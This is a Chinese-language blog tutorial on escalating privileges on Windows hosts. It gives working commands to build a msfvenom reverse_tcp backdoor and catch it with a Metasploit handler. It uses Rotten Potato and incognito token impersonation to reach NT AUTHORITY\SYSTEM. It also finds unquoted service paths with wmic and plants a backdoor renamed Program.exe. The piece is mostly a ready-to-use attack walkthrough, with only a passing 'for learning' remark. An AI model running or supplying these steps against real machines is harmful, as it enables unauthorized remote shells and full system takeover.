权限提升-windows令牌窃取烂土豆-引号路径提权

0x00 提权方式简介

总结几种除开补丁本地提权的另外几种比较使用的windwos提权
1)烂土豆配合令牌窃取提权--------webshell提权本地system
2）不安全的引号服务路径提权------本地提权
以及其他的dll劫持，accesschk64提权–本地提权，Alwayslnstallelevated提权等等
这种重点介绍烂土豆与不安全的引号路径提权，其他使用起来比较鸡肋，可自行百度学习

0x01 提权实战

1）烂土豆配合令牌窃取webshell到system
使用kali生成后门文件，上传到受害机的目录执行，kali接受到普通shell
进入msf：
生成后门文件：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.129 LPORT=4444 x >/shell.exe

设置监听：

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.193
set LPORT 4444
exploit

获取到后门普通shell
将烂土豆文件通过工具或者其他方式上传到对方的路径下

upload /root/桌面/potato.exe C:\

进入烂土豆目录执行烂土豆

cd C:\\防止转码

尝试配合令牌窃取：

use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"

需要注意的是需要有可窃取令牌

2）不安全的引号服务路径提权------本地提权
首先找出具有空格的服务启动路径

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\"
|findstr /i /v """

我们首先看一个案例了解这种提权的原理
可以看到，当我们去掉双引号，这个路径的执行文件不能正常执行，也就是说windows系统将一个双引号内的文件当作一个可执行文件执行 ，

当我们将正常的cmd.exe改名为空格前的Progiam.exe 再去掉双引号发现可以正常执行为cmd，也就是利用到这个空格逻辑原因，去运行我们需要运行的exe后门执行文件

当我们把我们的后门文件修改为Program文件名使得去正常运行这个程序，从而允许我们的后门exe文件

当 Windows 服务运行时，会发生以下两种情况之一。如果给出了可执行文件，并且引用了完
整路径，则系统会按字面解释它并执行。但是，如果服务的二进制路径未包含在引号中，则操作系 统将会执行找到的空格分隔的服务路径的第一个实例。
过程：检测引号服务路径-利用路径制作文件并上传-启用服务或重启-调用后成功

将我们的后门文件修改为Program文件，使得执行我们的后门文件

kali监听接受返回shell

如果权限不够高，再通过烂土豆配合令牌窃取提升权限
另外一个知识点，要看启动这个exe的权限有多高，我们返回的shell就能够有多高

另外还要
Alwayslnstallelevated提权：需要管理员提前手动开启它
dll劫持提权等等，
感觉都挺鸡肋的，实战中能够用到的极少，本次也只是作为参考学习

个人认为winddows最实在还是补丁提权，烂土豆配合令牌窃取webshell提升

交流学习：
博客：http://www.kxsy.work
CSND社区:告白热